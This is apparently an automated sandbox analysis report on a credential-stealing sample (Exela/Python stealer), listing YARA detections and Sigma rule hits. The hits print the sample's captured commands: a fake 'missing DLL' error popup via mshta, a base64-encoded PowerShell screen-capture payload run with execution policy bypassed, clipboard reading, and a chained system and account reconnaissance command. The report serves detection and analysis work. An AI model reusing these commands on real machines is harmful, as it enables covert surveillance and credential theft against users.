00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000002.1980252152.000001B102F50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: rename_me_before.exe PID: 3512	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
Process Memory Space: rename_me_before.exe PID: 3512	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
Process Memory Space: rename_me_before.exe PID: 3512	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
Process Memory Space: rename_me_before.exe PID: 3512	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 22 entries

Sigma Signatures

System Summary

Sigma detected: MSHTA Suspicious Execution 01

Source: Process started

Author: Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule): Data: Command: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", CommandLine: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", CommandLine|base64offset|contains: m, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1312, ParentProcessName: cmd.exe, ProcessCommandLine: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", ProcessId: 2108, ProcessName: mshta.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Console CodePage Lookup Via CHCP

Source: Process started

Author: _pete_0, TheDFIRReport: Data: Command: chcp, CommandLine: chcp, CommandLine|base64offset|contains: r), Image: C:\Windows\System32\chcp.com, NewProcessName: C:\Windows\System32\chcp.com, OriginalFileName: C:\Windows\System32\chcp.com, ParentCommandLine: cmd.exe /c chcp, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2080, ParentProcessName: cmd.exe, ProcessCommandLine: chcp, ProcessId: 6868, ProcessName: chcp.com

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\rename_me_before.exe", ParentImage: C:\Users\user\Desktop\rename_me_before.exe, ParentProcessId: 3512, ParentProcessName: rename_me_before.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", ProcessId: 2588, ProcessName: cmd.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), omkar72, @svch0st, Nasreddine Bencherchali (Nextron Systems): Data: Command: net localgroup administrators, CommandLine: net localgroup administrators, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7244, ParentProcessName: cmd.exe, ProcessCommandLine: net localgroup administrators, ProcessId: 7804, ProcessName: net.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1668, TargetFilename: C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline

Sigma detected: Local Accounts Discovery

Source: Process started

